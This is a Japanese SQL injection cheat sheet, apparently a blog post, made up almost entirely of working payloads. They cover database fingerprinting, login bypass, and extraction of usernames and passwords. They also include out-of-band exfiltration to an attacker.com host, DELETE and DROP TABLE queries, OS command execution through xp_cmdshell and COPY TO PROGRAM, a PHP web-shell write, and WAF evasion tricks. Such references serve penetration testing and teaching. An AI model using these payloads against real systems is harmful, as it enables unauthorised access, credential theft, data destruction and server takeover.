SQLインジェクション チートシート

目的別のSQLインジェクション手法一覧

情報収集

データベースのバージョン、ユーザー名、テーブル名、カラム名などを特定するための手法。

データベースバージョンの特定

データベース手法例 (UNIONベース)手法例 (エラーベース)手法例 (ブラインド)
MySQL' UNION SELECT @@version, NULL -- ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) -- (時間差で確認)' AND SUBSTRING(@@version,1,1)='5' --
PostgreSQL' UNION SELECT version(), NULL -- ' AND 1=(SELECT CAST(version() AS NUMERIC)) -- ' AND SUBSTRING(version(),1,1)='1' --
SQL Server' UNION SELECT @@version, NULL -- ' AND 1=(SELECT CAST(@@version AS INT)) -- ' AND SUBSTRING(@@version, 1, 15)='M' --
Oracle' UNION SELECT banner, NULL FROM v$version WHERE ROWNUM=1 -- ' AND 1=UTL_INADDR.get_host_name((SELECT banner FROM v$version WHERE ROWNUM=1)) -- (DNS経由)' AND (SELECT SUBSTR(banner,1,1) FROM v$version WHERE ROWNUM=1)='O' --
SQLite' UNION SELECT sqlite_version(), NULL -- (エラーベースは難しい)' AND SUBSTR(sqlite_version(),1,1)='3' --

現在のデータベースユーザーの特定

-- MySQL / PostgreSQL
' UNION SELECT user(), NULL --
' UNION SELECT current_user, NULL --
-- SQL Server
' UNION SELECT SUSER_SNAME(), NULL --
' UNION SELECT SYSTEM_USER, NULL --
-- Oracle
' UNION SELECT user, NULL FROM dual -- 

データベース名/スキーマ名の特定

-- MySQL
' UNION SELECT schema_name, NULL FROM information_schema.schemata --
' UNION SELECT database(), NULL --
-- PostgreSQL
' UNION SELECT datname, NULL FROM pg_database --
' UNION SELECT current_database(), NULL --
-- SQL Server
' UNION SELECT name, NULL FROM master..sysdatabases --
' UNION SELECT DB_NAME(), NULL --
-- Oracle
' UNION SELECT owner, NULL FROM all_tables -- (スキーマ一覧)
' UNION SELECT SYS_CONTEXT('USERENV', 'DB_NAME'), NULL FROM dual -- 

テーブル名の特定

information_schema (MySQL, PostgreSQL, SQL Server), all_tables (Oracle), sqlite_master (SQLite)などを利用します。

-- MySQL / PostgreSQL / SQL Server (DB名 'target_db' の場合)
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = 'target_db' --
-- Oracle (スキーマ名 'TARGET_SCHEMA' の場合)
' UNION SELECT table_name, NULL FROM all_tables WHERE owner = 'TARGET_SCHEMA' --
-- SQLite
' UNION SELECT name, NULL FROM sqlite_master WHERE type='table' -- 

ブラインドSQLインジェクションの場合、SUBSTRINGLIKE を使って一文字ずつ特定します。

-- 例: MySQLでテーブル名の最初の文字が 'u' かどうかを確認
' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='u' -- 

カラム名の特定

information_schema.columns (MySQL, PostgreSQL, SQL Server), all_tab_columns (Oracle) などを利用します。

-- MySQL / PostgreSQL / SQL Server (テーブル名 'users' の場合)
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users' --
-- Oracle (テーブル名 'USERS', スキーマ 'TARGET_SCHEMA' の場合)
' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS' AND owner = 'TARGET_SCHEMA' --
-- SQLite (テーブル名 'users' の pragma を利用)
-- (UNIONベースでは直接取得しにくい。エラーベースやブラインドが主)
-- 例: ブラインドで 'users' テーブルに 'password' カラムがあるか確認
' AND EXISTS (SELECT 1 FROM sqlite_master WHERE name='users' AND sql LIKE '%password%') -- 

カラム名特定もブラインドで一文字ずつ確認可能です。

-- 例: MySQLで 'users' テーブルの最初のカラム名の最初の文字が 'i' かどうか
' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='i' -- 

認証回避

ログイン処理などを迂回して、認証を突破するための手法。

常に真となる条件の挿入

最も古典的で基本的な手法です。WHERE句の条件を常に真にします。

-- ユーザー入力が 'username' と 'password' の場合
-- username:
admin' --
admin' #
admin'/*
' OR '1'='1
' OR 'x'='x
-- password:
' OR '1'='1
' OR 'a'='a' --
' OR 1=1 --
-- SQL例: SELECT * FROM users WHERE username = '...' AND password = '...'
-- ' OR '1'='1 をユーザー名に挿入
SELECT * FROM users WHERE username = '' OR '1'='1' -- ' AND password = '...'
-- ' OR '1'='1' -- をパスワードに挿入 (コメントで以降を無効化)
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1' -- ' 

多くのWAFやフレームワークはこの単純なパターンを検知・防御します。

ユーザー名をコメントアウト

存在しないユーザー名でも、コメントアウトを利用して認証を試みる手法。

-- username:
admin'--
admin'#
-- password: (任意の値)
password
-- SQL例: SELECT * FROM users WHERE username = '...' AND password = '...'
-- username に admin'-- を入力
SELECT * FROM users WHERE username = 'admin'-- ' AND password = '...'
-- -> 実質的に SELECT * FROM users WHERE username = 'admin' と同じになる 

UNIONベースでのユーザー指定

元のクエリがユーザーを返さない場合に、UNION SELECT で特定のユーザー(例: admin)の情報を強制的に返す手法。

-- username:
' UNION SELECT 'admin', 'hashed_password_placeholder', null, null FROM users WHERE username = 'admin' --
-- password: (任意の値)
password
-- SQL例 (カラム数が4つの場合): SELECT id, username, email, role FROM users WHERE username = '...' AND password = '...'
-- username に上記UNIONペイロードを入力
SELECT id, username, email, role FROM users WHERE username = '' UNION SELECT 'admin', 'hashed_password_placeholder', null, null FROM users WHERE username = 'admin' -- ' AND password = '...'
-- 存在しないユーザー名で検索しても、UNION で admin の情報が返るため、認証が成功する可能性がある 

カラム数とデータ型を合わせる必要があります。NULLや適切なダミーデータで調整します。

データ抽出

データベース内の情報を不正に取得するための手法。

UNIONベースSQLインジェクション

UNION SELECT を使用して、本来のクエリ結果に追加して、別のテーブルのデータを取得します。

手順:

  1. 元のクエリ結果のカラム数を特定する (ORDER BYUNION SELECT NULL, NULL, ... を使用)
  2. 元のクエリ結果のデータ型を特定する (エラーメッセージや UNION SELECT 'a', NULL, 1, ... などで試行)
  3. UNION SELECT で目的のデータを取得する
-- 1. カラム数の特定 (例: 3カラムか試す)
' ORDER BY 3 --
-- エラーが出なければ4を試す。エラーが出たらカラム数は2以下。
-- 2. データ型の特定 (例: 3カラムで、2番目が文字列型か試す)
' UNION SELECT NULL, 'a', NULL --
-- 3. データ抽出 (例: usersテーブルからusernameとpasswordを取得、カラム数は3と仮定)
' UNION SELECT NULL, username, password FROM users --
-- 複数の行を取得する場合 (MySQLの例)
' UNION SELECT NULL, GROUP_CONCAT(username, ':', password), NULL FROM users -- 

データベースごとに文字列結合関数 (CONCAT, ||, +) や集約関数 (GROUP_CONCAT, STRING_AGG, LISTAGG) が異なります。

データベース文字列結合複数行結果の結合
MySQLCONCAT(col1, ':', col2)GROUP_CONCAT(col SEPARATOR ';')
PostgreSQLcol1 || ':' || col2STRING_AGG(col, ';')
SQL Servercol1 + ':' + col2STRING_AGG(col, ';') WITHIN GROUP (ORDER BY col) (2017+) / XML PATH
Oraclecol1 || ':' || col2LISTAGG(col, ';') WITHIN GROUP (ORDER BY col)
SQLitecol1 || ':' || col2GROUP_CONCAT(col, ';')

エラーベースSQLインジェクション

データベースのエラーメッセージを利用して情報を抽出します。意図的に型変換エラーなどを発生させ、エラーメッセージ内に目的のデータを含ませます。

-- MySQL (updatexml/extractvalue) - Version < 8.0.20 / < 5.7.30
' AND updatexml(null, concat(0x7e, (SELECT @@version)), null) --
' AND extractvalue(null, concat(0x7e, (SELECT user()))) --
-- MySQL (floor, rand, group by)
' AND (SELECT count(*) FROM information_schema.tables GROUP BY concat(floor(rand(0)*2), (SELECT @@version))) --
-- PostgreSQL (型変換エラー)
' AND 1=(SELECT CAST((SELECT user) AS NUMERIC)) --
-- SQL Server (型変換エラー)
' AND 1=(SELECT CAST((SELECT DB_NAME()) AS INT)) --
' OR 1=CONVERT(int, (SELECT @@servername)) --
-- Oracle (XMLType)
' AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||(SELECT user FROM dual)||CHR(62))) FROM dual) --
' AND 1=(SELECT CTXSYS.DRITHSX.SN(1, (SELECT user FROM dual)) FROM dual) -- (要CTXAPP権限) 

エラーメッセージが表示される設定になっている必要があります。近年の環境では表示されないことが多いです。

ブラインドSQLインジェクション

クエリの結果が直接表示されない場合に、レスポンスの違い(真偽、時間差)を利用して情報を一文字ずつ特定します。

Booleanベース

条件が真の場合と偽の場合で、ページの表示内容が異なることを利用します。

-- 例: データベースユーザー名の最初の文字が 'a' かどうか (MySQL/PostgreSQL)
' AND SUBSTRING(user(), 1, 1) = 'a' --
-- 例: 'users' テーブルの最初のレコードの 'password' カラムの長さが8文字か (汎用)
' AND LENGTH((SELECT password FROM users LIMIT 1)) = 8 --
-- 例: 'users' テーブルの最初のレコードの 'password' カラムの3文字目が 'x' か (ASCII値で比較)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1), 3, 1)) = 120 -- 

時間ベース

条件が真の場合に、データベースに時間のかかる処理(スリープ)を実行させ、レスポンス時間の差を利用します。

-- MySQL
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0) --
-- PostgreSQL
' AND CASE WHEN (SUBSTRING(user(),1,1)='p') THEN pg_sleep(5) ELSE NULL END --
-- SQL Server
' WAITFOR DELAY '0:0:5' --
' IF (SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:5' --
-- Oracle (PL/SQLを使用)
' AND DBMS_LOCK.SLEEP(5); -- (これはスタッククエリが必要かも)
-- または
' AND 1=(SELECT CASE WHEN (SUBSTR(user,1,1)='S') THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END FROM dual) --
-- SQLite (重い処理で代替)
-- ' AND [condition] AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([large_number])))) -- (確実ではない) 

時間ベースはBooleanベースが使えない場合に有効ですが、ネットワーク遅延の影響を受ける可能性があります。

アウトオブバンド (Out-of-Band) SQLインジェクション

データベースサーバーから外部のサーバー(攻撃者が用意したDNSサーバーやHTTPサーバー)へリクエストを送信させ、そのリクエストに含まれる情報からデータを抽出します。

-- SQL Server (UNCパス経由でのDNSリクエスト)
' DECLARE @data VARCHAR(1024); SELECT @data = (SELECT @@version); EXEC master..xp_dirtree ('\\'+@data+'.attacker.com\share'); --
' DECLARE @q VARCHAR(1024); SET @q = '\\' + (SELECT CONVERT(VARCHAR(1000), @@SERVERNAME)) + '.' + (SELECT CONVERT(VARCHAR(1000), DB_NAME())) + '.attacker.com\foobar'; EXEC master..xp_fileexist @q; --
-- Oracle (UTL_HTTP / UTL_INADDR / DBMS_LDAP)
' UNION SELECT UTL_HTTP.request('http://attacker.com/' || (SELECT user FROM dual)), NULL FROM dual --
' UNION SELECT UTL_INADDR.get_host_address((SELECT user FROM dual) || '.attacker.com'), NULL FROM dual --
' UNION SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com', 80), NULL FROM dual --
-- PostgreSQL (COPY FROM/TO PROGRAM - スーパーユーザー権限)
COPY (SELECT version()) TO PROGRAM 'curl http://attacker.com/?data=$(cat /dev/stdin)';
-- (Webアプリ経由では難しいことが多い) 

データベースサーバーから外部への通信がファイアウォールで許可されている必要があります。また、特定の関数実行には高い権限が必要な場合があります。

データ改ざん・削除

データベース内のデータを不正に変更、追加、削除する手法。

データの更新 (UPDATE)

既存のレコードの値を変更します。スタッククエリが利用可能な場合に有効です。

-- 例: ユーザー 'targetuser' のパスワードを 'newpassword' に変更
'; UPDATE users SET password = 'newpassword' WHERE username = 'targetuser' --
-- 例: ユーザーID 1 の権限を 'admin' に変更
' ; UPDATE users SET role = 'admin' WHERE id = 1 -- 

データの挿入 (INSERT)

新しいレコードを追加します。スタッククエリが利用可能な場合に有効です。

-- 例: 新しい管理者ユーザーを追加
'; INSERT INTO users (username, password, role) VALUES ('attacker', 'hashed_pass', 'admin') -- 

データの削除 (DELETE)

既存のレコードを削除します。スタッククエリが利用可能な場合に有効です。

-- 例: ユーザー 'victimuser' を削除
'; DELETE FROM users WHERE username = 'victimuser' --
-- 例: 全ユーザーを削除 (危険!)
'; DELETE FROM users -- 

テーブルの削除 (DROP TABLE)

テーブル自体を削除します。非常に破壊的な操作です。スタッククエリが必要です。

-- 例: 'logs' テーブルを削除
'; DROP TABLE logs --
-- 例: 'users' テーブルを削除 (非常に危険!)
'; DROP TABLE users -- 

データ改ざん・削除は極めて危険な行為であり、深刻な影響を与えます。テスト環境以外での実行は絶対に避けてください。

スタッククエリ (; を使って複数のSQL文を実行) が無効化されている場合、これらの操作は通常実行できません。

OSコマンド実行

データベースの機能を利用して、基盤となるオペレーティングシステムのコマンドを実行する手法。

MySQL

sys_exec (UDF: User Defined Function) など、追加の関数が必要な場合が多い。標準機能では限定的。

-- UDF が導入済みの場合
' UNION SELECT sys_exec('whoami'), NULL -- 

SELECT ... INTO OUTFILESELECT ... INTO DUMPFILE を使ってWebサーバーのドキュメントルートにファイルを作成し、Web経由で実行させる手法もあります。

-- Web Shellの書き込み (書き込み権限が必要)
' UNION SELECT '<?php system($_GET[\'cmd\']); ?>', NULL INTO OUTFILE '/var/www/html/shell.php' -- 

PostgreSQL

COPY FROM/TO PROGRAM (スーパーユーザー権限) や、PL/Perl, PL/Python などの手続き言語を利用。

-- COPY PROGRAM (スーパーユーザー権限)
COPY (SELECT '') TO PROGRAM 'id > /tmp/id_output';
COPY cmd_output FROM PROGRAM 'id'; SELECT * FROM cmd_output;
-- PL/Python (要拡張機能、権限)
CREATE OR REPLACE FUNCTION exec(cmd text) RETURNS text AS $$ import subprocess return subprocess.check_output(cmd, shell=True).decode()
$$ LANGUAGE plpython3u;
SELECT exec('whoami'); 

SQL Server

xp_cmdshell ストアドプロシージャ (デフォルトでは無効なことが多い)。

-- xp_cmdshell が有効な場合
'; EXEC master..xp_cmdshell 'whoami' --
-- xp_cmdshell を有効化 (sysadmin権限が必要)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- 

Oracle

DBMS_SCHEDULER や Java ストアドプロシージャを利用。

-- DBMS_SCHEDULER (要権限)
BEGIN DBMS_SCHEDULER.create_job ( job_name => 'my_exec_job', job_type => 'EXECUTABLE', job_action => '/bin/bash', number_of_arguments => 2, enabled => FALSE, auto_drop => TRUE); DBMS_SCHEDULER.set_job_argument_value('my_exec_job', 1, '-c'); DBMS_SCHEDULER.set_job_argument_value('my_exec_job', 2, 'id > /tmp/oracle_id'); DBMS_SCHEDULER.enable('my_exec_job');
END;
/
-- Java Stored Procedure (要権限)
-- (複雑な定義が必要) 

OSコマンド実行は非常に強力ですが、実行できるかどうかはデータベースの設定、権限、利用可能な関数に大きく依存します。

スタッククエリ (Stacked Queries)

セミコロン (;) を使用して、単一の入力で複数のSQLクエリを連続して実行する手法。

-- 例: ユーザー情報を取得し、その後でデータを更新する
' ; SELECT * FROM users WHERE username = 'admin' ; UPDATE products SET price = 0 WHERE id = 123 -- 

特徴:

  • INSERT, UPDATE, DELETE, DROP などのデータ操作や定義変更が可能になる。
  • OSコマンド実行 (xp_cmdshellなど) のトリガーにも使われる。
  • データベースやAPIのドライバによってはサポートされていない場合がある (例: PHPのmysql_query関数はデフォルトでは非対応)。

対応状況の例:

  • 対応: SQL Server, PostgreSQL, MySQL (一部のAPI/ドライバ)
  • 非対応: Oracle (PL/SQLブロック内では可能), SQLite (一部のAPI), PHP/MySQL (標準関数)

高度なテクニック

セカンドオーダーSQLインジェクション (Second-Order SQL Injection)

悪意のある入力が一度データベースに保存され、後で別の機能がそのデータを安全でない形で読み出してSQLクエリを組み立てる際に発生するインジェクション。

シナリオ例:

  1. ユーザーがプロファイル名に admin' -- を登録する。この時点では無害化されるか、そのまま保存される。
  2. パスワード変更機能などで、保存されたプロファイル名を読み込み、SELECT * FROM users WHERE username = '[保存されたプロファイル名]' のようなクエリを実行する。
  3. この時、SELECT * FROM users WHERE username = 'admin' -- ' というクエリが実行され、意図しない動作を引き起こす可能性がある。

入力時だけでなく、データベースから読み込んだデータを使用する際も、常にプレースホルダ等で安全に扱う必要があります。

SQLインジェクションによるWAF回避

Web Application Firewall (WAF) の検知ルールを回避するためのテクニック。

  • キーワードの分割・難読化:
    • コメント挿入: UNION/**/SELECT, SEL/**/ECT
    • 大文字小文字混合: UnIoN SeLeCt
    • URLエンコーディング: %55NION %53ELECT (U, S)
    • 特殊なエンコーディング: Double URL Encoding (%2555NION), Unicode (%u0055NION)
    • 空白文字の代替: +, %09 (Tab), %0a (Newline), %a0 (Non-breaking space), /**/
    • 関数・変数による代替: SELECT user() -> SELECT us%65r() (MySQLの場合、変数や関数名に16進数表現は使えないことが多い)
    • 文字列連結: 'SEL' || 'ECT' (PostgreSQL/Oracle), CONCAT('SEL','ECT') (MySQL)
  • 代替構文の使用:
    • AND 1=1 -> AND true, AND 'a'='a', AND -1=-1
    • UNION SELECT -> UNION ALL SELECT
    • SUBSTRING(str, 1, 1) -> LEFT(str, 1), SUBSTR(str, 1, 1)
    • SLEEP(5) -> BENCHMARK(10000000, MD5('a')) (MySQL), pg_sleep(5)
  • HTTPパラメータ汚染 (HTTP Parameter Pollution – HPP):

    同じ名前のパラメータを複数送信し、サーバー側の処理によっては予期せぬ値がSQLクエリに組み込まれることを狙う。

    ?id=1&id=' OR '1'='1
  • リクエスト形式の変更:

    GET リクエストを POST に変えたり、Content-Typeapplication/json などに変更してペイロードを送信する。

WAF回避技術は常に進化しており、上記が通用するとは限りません。WAFのシグネチャや設定に依存します。

コメント構文

SQLクエリの一部を無効化するために使用されるコメントの形式。

構文説明対応DB (主なもの)注意点
--
(ハイフン2つ + スペース)
行末までをコメントアウトMySQL, PostgreSQL, SQL Server, Oracle, SQLite末尾にスペースまたは改行が必要
#行末までをコメントアウトMySQL
/* ... */複数行またはインラインコメントMySQL, PostgreSQL, SQL Server, OracleWAFで検知されやすい
;%00
(セミコロン + Nullバイト)
クエリの終端を偽装 (一部環境)古いMySQL+PHP環境などNullバイトインジェクション。現在では稀。
-- 使用例
' UNION SELECT username, password FROM users -- -
' UNION SELECT username, password FROM users #
' UNION/*comment*/SELECT/*comment*/username, password FROM users -- 

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です